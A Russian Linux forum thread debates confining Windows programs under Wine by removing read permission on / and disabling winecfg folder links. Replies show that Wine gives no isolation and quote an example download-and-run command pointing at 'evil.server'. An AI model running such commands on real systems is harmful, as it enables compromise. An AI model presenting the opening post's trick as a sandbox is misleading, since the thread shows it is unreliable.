LINUX.ORG.RU

Как просто «запереть» приложение в Wine. Песочница для нечисти.

 , ,


0

2

1. sudo chmod -r / Таким образом, приложения под вайном не смогут увидеть /etc, /home/$USER, /$HOME/.mozilla/profile и так далее, через / (да-да, в вайне по дефолту можно увидеть / на чтение, и $HOME даже на запись! Даже если удалить все диски кроме C:!)

2. winecfg, вкладка «интеграция в интерфейс», «папки», снимаем галочки со всего. Примечание для параноиков: можно на вкладке «диски» удалить всё кроме C:

Подробности:

Понадобятся ярлычки вайновые на рабочем столе - они в /home/$USER/.wine/drive_c/users/$USER/ где то там. Да скорее всего не понадобятся.

В файлменеджере делаем закладку на $HOME/.wine, чтобы туда копировать exe-шники. Иначе установочный екзешник может просто не увидеть файлы рядом с собой. Надеюсь, это понятно. Таким образом приложения под вайном будут в песочнице. Запустите, скажем, wine notepad или wine explorer и попробуйте повредить или хотя бы найти хоть один файл не в папке $HOME/.wine/drive_c

Как ни странно, в Debian LXDE автомонтирование флешек и дисков работает, и в файловом менеджере все работает (кроме /, конечно). Попасть в папку, скажем, /etc в файлменеджере можно либо через закладки, либо набрав в адресной строке файлменеджера. Перезагрузка тоже не виснет. Так что можно так и оставить. (примечание: не особо тестировал, так что смотрите сами). Или (стабильнее): блокировать / на чтение только при запуске сомнительных приложений из Wine, а в остальное время возвращать право на чтение корневой директории.

Для дотошных: да, это жалкий костыль, да, рабы Баллмера ставят мерзкий оффтопик второй системой (зачем??), ..., ... ...

Для троллей: веселый троллинг приветствуется ;)

Для параноиков: при вставке флешки вроде появляется диск E: но пустой, с неверным размером..... И еще: похоже, wine explorer видит файлы в корзине (по крайней мере в LXDE).......

Ты осознаёшь, что wine не обеспечивает никакой безопасности даже при такой настройке? Приложение под wine может задетектить, что оно в wine и выполнить всё то же самое, что могут делать нативные приложения. В том числе и мониторить иксы на предмет введённых паролей, например. Или слать произвольный ввод (wget http://evil.server/backdoor.sh && bash backdoor.sh, например) в консоль с рутом, если она в тех же иксах.

Конечно, собирать такие вайнозаточенные трояны не совсем тривиально, но несложно.

Без виртуалки в современном десктопном линуксе сложно что-то изолировать. В hardened-вариантах проще, но они меньше подходят для десктопа. Нет, конечно, можно сделать хорошую политику для selinux/apparmor/tomoyo, но иксы — дыра и всё равно понадобится запускать ещё один их экземпляр.

x3al ★★★★★ ()
Ответ на: комментарий от x3al

слать произвольный ввод .... в консоль с рутом? Это реально?

principal ()
Ответ на: комментарий от principal

В иксах — да.

Ядру линукса глубоко пофиг, что за код у тебя в файл.exe. Вайну тем более пофиг, если код дёргает сисколлы по-виндовому — он через wine-server их обрабатывает, если по-линуксовому — вайн тут ни при чём и у тебя в .exe отрабатывает нативный код (вообще, в .exe ВСЕГДА работает нативный код, поскольку wine is not an emulator). А безопасность внутри одних иксов не существует, независимо от того, под каким пользователем (и на какой машине в случае, если иксы не там же) работает софт.

http://sourceforge.net/projects/zerowine/ — как запускают малварь.

x3al ★★★★★ ()

Как ты запишешь что-то в $HOME (например, сохранишь созданный в notepad.exe текстовый файл), если удалишь диск X:, который по дефолту указывает на / ?

prischeyadro ★★★☆☆ ()
Ответ на: комментарий от x3al

И да, внутри zerowine — QEMU, который is an emulator.

First of all, remember, RUNNING MALWARE IN YOUR COMPUTER IS ALWAYS A BAD IDEA. You must isolate the virtual machine (or the real hardware box) from the real world when possible. Sometimes it's mandatory to allow the malware to connect to the real world, however, you might be attacking other people.

And, what is more important, remember, a malware written to escape the WINE sandbox will escape (even when the WINE's sandbox is configured with only the C: drive) and it might affect your network, your real machines.

x3al ★★★★★ ()
Последнее исправление: x3al (всего исправлений: 2)
Ответ на: комментарий от prischeyadro

notepad, может писать и читать все на диске C: другие приложения тоже диск C направлен на ./.wine/drive_c

principal ()
Ответ на: комментарий от x3al

Верно. Мальварь может: выйти в сеть, (sudo ifconfig eth0 down?) читать/удалить все что в вайне...

зато до $home не доберется...

principal ()
Ответ на: комментарий от principal

Сфигали не доберётся? Она может делать всё, что может делать нативный (не-wine) софт. Wine не даёт никакой безопасности независимо от того, какие ты там вайнодиски оставил доступными. И это документировано разработчиками wine.

x3al ★★★★★ ()
Ответ на: комментарий от x3al

верно, признаю. Это фигня а не sandbox. Но 99% (существующих) троянов не свиснут мои пароли и куки, это немного лучше чем обычно под wine..... Верно, или я опять ошибаюсь? Просветите...

principal ()

От отдельного пользователя не вариант запускать?

crowbar ()

Да, это жалкий костыль, да, рабы Торвальдса рвут себе пукан с  Wine

anonymous ()

а возможно ли запустить вайн от другого пользователя, но в этих же иксах?

teod0r ★★★★★ ()

Если попробовать бутсрапнуть (к примеру в /tmp/someos) (~100-300мб в зависимости от пакетов), поставить вино, пробпросить иксы, залезть через chroot, там добавить пользователя, от него запустить вино ?

корневая фс - будет наглухо скрыта, основные процессы так же будут скрыты, а дальше пусть хоть что делает (всё будет делаться внутри /tmp/someos), пусть пытается удалить / в песочнице (если и сможет что то сделать так это удалить что нить в /tmp/someos/), проблема будет только в иксах, т.к. возможны хуки (контроль ио клавиш и мыши).

svsd_val ()
Ответ на: комментарий от teod0r

а возможно ли запустить вайн от другого пользователя, но в этих же иксах?

А в чём проблема?

Лучше уж чрут, и со своими иксами.

Umberto ★☆ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.